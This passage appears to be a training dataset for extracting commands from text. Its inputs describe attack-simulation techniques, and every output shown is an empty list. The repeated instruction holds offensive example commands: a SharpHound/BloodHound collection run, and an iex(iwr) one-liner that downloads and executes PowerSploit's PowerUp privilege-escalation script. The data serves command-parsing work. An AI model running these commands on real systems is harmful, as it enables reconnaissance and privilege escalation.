    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Stomps on the modification timestamp of a file using MacOS's SetFile utility\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    LockBit Black - Use Registry Editor to turn on automatic logon\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execute program by leveraging Win32 API's. By default, this will launch calc.exe from the command prompt.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by \ndeleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Launch an executable that attempts to masquerade as a legitimate executable.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Print  the last 10 lines of the Uncomplicated Firewall (UFW) log file \n/var/log/ufw.log.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet.\nUpon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** 